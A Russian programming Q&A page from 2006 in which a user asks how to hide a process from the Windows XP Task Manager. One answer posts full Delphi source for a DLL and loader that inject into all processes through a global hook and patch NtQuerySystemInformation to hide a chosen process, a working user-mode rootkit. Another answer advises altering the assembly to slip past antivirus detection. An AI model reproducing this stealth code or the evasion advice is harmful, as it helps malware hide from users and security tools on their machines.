Экспертная система Delphi.int.ru

Сообщество программистов
Общение, помощь, обмен опытом

Логин:
Пароль:
Регистрация | Забыли пароль?

Delphi.int.ru Expert

Другие разделы портала

Переход к вопросу:

#   

Статистика за сегодня:  


Лучшие эксперты

Подробнее »



Вопрос # 61

/ вопрос открыт /

Как в XP скрыть процесс из диспетчера задач
Заранее спасибо

Ташбулатов Камиль РУст Вопрос ожидает решения (принимаются ответы, доступен мини-форум)

Вопрос задал: Ташбулатов Камиль РУст (статус: Посетитель)
Вопрос отправлен: 26 июня 2006, 09:46
Состояние вопроса: открыт, ответов: 4.

Ответ #1. Отвечает эксперт: Вадим К

Скажем так, решать на делфи подобные задачи - изврат. Наиболее лучше это делать на ассемблере. Почему? Вам прийдётся оперировать системными таблицами операционной системы. Но самое главное, это будет драйвер. Если не драйвер, то сделать это можно будет токо с правами админа, да и то, через одно место.

А почему Вам скрывать свой процесс? Здесь два варианта:
-Это вирус или программа шутка (убивать таких!)
-Прога для интернет клуба, что бы не могли закрыть(нада, и не такое закроют!).

А теперь раскажу как программируется эта вещь (токо идея!).
Когда диспетчер хочет отобразить список процессов, он берёт в памяти начало списка процессов (это будет первый процесс). Выводит эго данный. В одной с характеристик будет записан адрес описания следующего процесса.
Идея заключается в том, что бы подменить этот адрес или перехватить функцию, которая это делает и подменить её своей, которая будет сверять имя процесса и при надобности пропускать.
Почитать об этом всём можно здесь www.wasm.ru

Но есть ещё один метод. Написать программу, которая будет похожа на диспетчер задач, но не будет отображать определённые процессы. Вот это уже интересная задача.

Ответ отправил: Вадим К (статус: Академик)
Время отправки: 26 июня 2006, 11:30

Ответ #2. Отвечает эксперт: Alexander A. Gribanov

Ну вопрос немного не по Delphi... Тебе может помочь, например, книга Джеффри Рихтера "Windows для профессионалов". По googl'у можно найти електронный вариант.

Ответ отправил: Alexander A. Gribanov (статус: 2-ой класс)
Время отправки: 26 июня 2006, 12:43

Ответ #3. Отвечает эксперт: bruder

Здравствуйте, Ташбулатов Камиль РУст.
Способ 1: Грохнуть диспетчер :)
Способ 2: Ring0.......
В приложении исходник dll и самой программы.

Приложение:
  1. library Hide;
  2.  
  3. uses
  4. Windows,
  5. TlHelp32;
  6.  
  7. type
  8.  
  9. SYSTEM_INFORMATION_CLASS = (
  10. SystemBasicInformation,
  11. SystemProcessorInformation,
  12. SystemPerformanceInformation,
  13. SystemTimeOfDayInformation,
  14. SystemNotImplemented1,
  15. SystemProcessesAndThreadsInformation,
  16. SystemCallCounts,
  17. SystemConfigurationInformation,
  18. SystemProcessorTimes,
  19. SystemGlobalFlag,
  20. SystemNotImplemented2,
  21. SystemModuleInformation,
  22. SystemLockInformation,
  23. SystemNotImplemented3,
  24. SystemNotImplemented4,
  25. SystemNotImplemented5,
  26. SystemHandleInformation,
  27. SystemObjectInformation,
  28. SystemPagefileInformation,
  29. SystemInstructionEmulationCounts,
  30. SystemInvalidInfoClass1,
  31. SystemCacheInformation,
  32. SystemPoolTagInformation,
  33. SystemProcessorStatistics,
  34. SystemDpcInformation,
  35. SystemNotImplemented6,
  36. SystemLoadImage,
  37. SystemUnloadImage,
  38. SystemTimeAdjustment,
  39. SystemNotImplemented7,
  40. SystemNotImplemented8,
  41. SystemNotImplemented9,
  42. SystemCrashDumpInformation,
  43. SystemExceptionInformation,
  44. SystemCrashDumpStateInformation,
  45. SystemKernelDebuggerInformation,
  46. SystemContextSwitchInformation,
  47. SystemRegistryQuotaInformation,
  48. SystemLoadAndCallImage,
  49. SystemPrioritySeparation,
  50. SystemNotImplemented10,
  51. SystemNotImplemented11,
  52. SystemInvalidInfoClass2,
  53. SystemInvalidInfoClass3,
  54. SystemTimeZoneInformation,
  55. SystemLookasideInformation,
  56. SystemSetTimeSlipEvent,
  57. SystemCreateSession,
  58. SystemDeleteSession,
  59. SystemInvalidInfoClass4,
  60. SystemRangeStartInformation,
  61. SystemVerifierInformation,
  62. SystemAddVerifier,
  63. SystemSessionProcessesInformation
  64. );
  65.  
  66. _IMAGE_IMPORT_DESCRIPTOR = packed record
  67. case Integer of 0: (
  68. Characteristics: DWORD);
  69. 1: (
  70. OriginalFirstThunk: DWORD;
  71. TimeDateStamp: DWORD;
  72. ForwarderChain: DWORD;
  73. Name: DWORD;
  74. FirstThunk: DWORD);
  75. end;
  76. IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
  77. PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
  78.  
  79. PFARPROC = ^FARPROC;
  80.  
  81. const
  82. ImagehlpLib = 'IMAGEHLP.DLL';
  83.  
  84. function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
  85. DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
  86. name 'ImageDirectoryEntryToData';
  87.  
  88. function AllocMem(Size: Cardinal): Pointer;
  89. begin
  90. GetMem(Result, Size);
  91. FillChar(Result^, Size, 0);
  92. end;
  93.  
  94. procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
  95. pfnNew: FARPROC; hmodCaller: hModule);
  96. var
  97. ulSize: ULONG;
  98. pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
  99. pszModName: PChar;
  100. pThunk: PDWORD;
  101. ppfn: PFARPROC;
  102. ffound: LongBool;
  103. written: DWORD;
  104. begin
  105. pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
  106. IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  107. if pImportDesc = nil then
  108. exit;
  109. while pImportDesc.Name <> 0 do
  110. begin
  111. pszModName := PChar(hmodCaller + pImportDesc.Name);
  112. if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
  113. break;
  114. Inc(pImportDesc);
  115. end;
  116. if (pImportDesc.Name = 0) then
  117. exit;
  118. pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  119. while pThunk^ <> 0 do
  120. begin
  121. ppfn := PFARPROC(pThunk);
  122. fFound := (ppfn^ = pfnCurrent);
  123. if (fFound) then
  124. begin
  125. VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
  126. written);
  127. WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
  128. Written);
  129. exit;
  130. end;
  131. Inc(pThunk);
  132. end;
  133. end;
  134.  
  135. var
  136. addr_NtQuerySystemInformation: Pointer;
  137. mypid: DWORD;
  138. fname: PCHAR;
  139. mapaddr: PDWORD;
  140. hideOnlyTaskMan: PBOOL;
  141.  
  142. { By Wasm.ru}
  143.  
  144. function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
  145. SystemInformation: Pointer;
  146. SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
  147. label
  148. onceagain, getnextpidstruct, quit, fillzero;
  149. asm
  150. push ReturnLength
  151. push SystemInformationLength
  152. push SystemInformation
  153. push dword ptr SystemInformationClass
  154. call dword ptr [addr_NtQuerySystemInformation]
  155. or eax,eax
  156. jl quit
  157. cmp SystemInformationClass,SystemProcessesAndThreadsInformation
  158. jne quit
  159. onceagain:
  160. mov esi,SystemInformation
  161. getnextpidstruct:
  162. mov ebx,esi
  163. cmp dword ptr [esi],0
  164. je quit
  165. add esi,[esi]
  166. mov ecx,[esi+44h]
  167. cmp ecx,mypid
  168. jne getnextpidstruct
  169. mov edx,[esi]
  170. test edx,edx
  171. je fillzero
  172. add [ebx],edx
  173. jmp onceagain
  174. fillzero:
  175. and [ebx],edx
  176. jmp onceagain
  177. quit:
  178. mov Result,eax
  179. end;
  180.  
  181. procedure InterceptFunctions;
  182. var
  183. hSnapShot: THandle;
  184. me32: MODULEENTRY32;
  185. begin
  186. addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
  187. 'NtQuerySystemInformation');
  188. hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
  189. if hSnapshot = INVALID_HANDLE_VALUE then
  190. exit;
  191. try
  192. ZeroMemory(@me32, sizeof(MODULEENTRY32));
  193. me32.dwSize := sizeof(MODULEENTRY32);
  194. Module32First(hSnapShot, me32);
  195. repeat
  196. ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
  197. @MyNtQuerySystemInfo, me32.hModule);
  198. until not Module32Next(hSnapShot, me32);
  199. finally
  200. CloseHandle(hSnapShot);
  201. end;
  202. end;
  203.  
  204. procedure UninterceptFunctions;
  205. var
  206. hSnapShot: THandle;
  207. me32: MODULEENTRY32;
  208. begin
  209. addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
  210. 'NtQuerySystemInformation');
  211. hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
  212. if hSnapshot = INVALID_HANDLE_VALUE then
  213. exit;
  214. try
  215. ZeroMemory(@me32, sizeof(MODULEENTRY32));
  216. me32.dwSize := sizeof(MODULEENTRY32);
  217. Module32First(hSnapShot, me32);
  218. repeat
  219. ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
  220. addr_NtQuerySystemInformation, me32.hModule);
  221. until not Module32Next(hSnapShot, me32);
  222. finally
  223. CloseHandle(hSnapShot);
  224. end;
  225. end;
  226.  
  227. var
  228. HookHandle: THandle;
  229.  
  230. function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
  231. stdcall;
  232. begin
  233. Result := 0;
  234. end;
  235.  
  236. procedure InstallHook; stdcall;
  237. begin
  238. HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
  239. end;
  240.  
  241. var
  242. hFirstMapHandle: THandle;
  243.  
  244. function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
  245. var
  246. addrMap: PDWORD;
  247. ptr2: PBOOL;
  248. begin
  249. mypid := 0;
  250. result := false;
  251. hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
  252. 'NtHideFileMapping');
  253. if hFirstMapHandle = 0 then
  254. exit;
  255. addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
  256. if addrMap = nil then
  257. begin
  258. CloseHandle(hFirstMapHandle);
  259. exit;
  260. end;
  261. addrMap^ := pid;
  262. ptr2 := PBOOL(DWORD(addrMap) + 4);
  263. ptr2^ := HideOnlyFromTaskManager;
  264. UnmapViewOfFile(addrMap);
  265. InstallHook;
  266. result := true;
  267. end;
  268.  
  269. exports
  270. HideProcess;
  271.  
  272. var
  273. hmap: THandle;
  274.  
  275. procedure LibraryProc(Reason: Integer);
  276. begin
  277. if Reason = DLL_PROCESS_DETACH then
  278. if mypid > 0 then
  279. UninterceptFunctions()
  280. else
  281. CloseHandle(hFirstMapHandle);
  282. end;
  283.  
  284. begin
  285. hmap := OpenFileMapping(FILE_MAP_READ, false, 'NtHideFileMapping');
  286. if hmap = 0 then
  287. exit;
  288. try
  289. mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
  290. if mapaddr = nil then
  291. exit;
  292. mypid := mapaddr^;
  293. hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
  294. if hideOnlyTaskMan^ then
  295. begin
  296. fname := allocMem(MAX_PATH + 1);
  297. GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
  298. // if not (ExtractFileName(fname)='taskmgr.exe') then exit;
  299. end;
  300. InterceptFunctions;
  301. finally
  302. UnmapViewOfFile(mapaddr);
  303. CloseHandle(Hmap);
  304. DLLProc := @LibraryProc;
  305. end;
  306. end.
  307.  
  308.  
  309.  
  310.  
  311.  
  312. program HideProj;
  313.  
  314. uses
  315. windows, messages;
  316.  
  317. function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
  318. external 'hide.dll';
  319.  
  320. function ProcessMessage(var Msg: TMsg): Boolean;
  321. var
  322. Handled: Boolean;
  323. begin
  324. Result := False;
  325. begin
  326. Result := True;
  327. if Msg.Message <> WM_QUIT then
  328. begin
  329. Handled := False;
  330. begin
  331. TranslateMessage(Msg);
  332. DispatchMessage(Msg);
  333. end;
  334. end
  335. end;
  336. end;
  337.  
  338. procedure ProcessMessages;
  339. var
  340. Msg: TMsg;
  341. begin
  342. while ProcessMessage(Msg) do {loop}
  343. ;
  344. end;
  345.  
  346. begin
  347. HideProcess(GetCurrentProcessId, false);
  348. while true do
  349. begin
  350. ProcessMessages;
  351. end;
  352. end.
  353.  


Ответ отправил: bruder (статус: 4-ый класс)
Время отправки: 26 июня 2006, 13:23

Ответ #4. Отвечает эксперт: Матвеев Игорь Владимирович

Это можно сделать с помощью dll библиотеки, смотрите готовый пример в прикреплённом файле. Но некоторые антивири считают asm код в этой dll вирусом, поэтому иногда нужно подправить его - вставить лишние nop'ы, поменять mov на push/pop и т.д.
А вообще, заглядывайте на http://www.wasm.ru и больше не задавайте таких вопросов.
К ответу прикреплён файл. Загрузить » (срок хранения: 60 дней с момента отправки ответа)

Ответ отправил: Матвеев Игорь Владимирович (статус: Студент)
Время отправки: 26 июня 2006, 13:49


Мини-форум вопроса

Мини-форум пуст.

Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.

Версия движка: 2.6+ (26.01.2011)
Текущее время: 30 мая 2023, 11:50
Выполнено за 0.02 сек.
Рейтинг@Mail.ru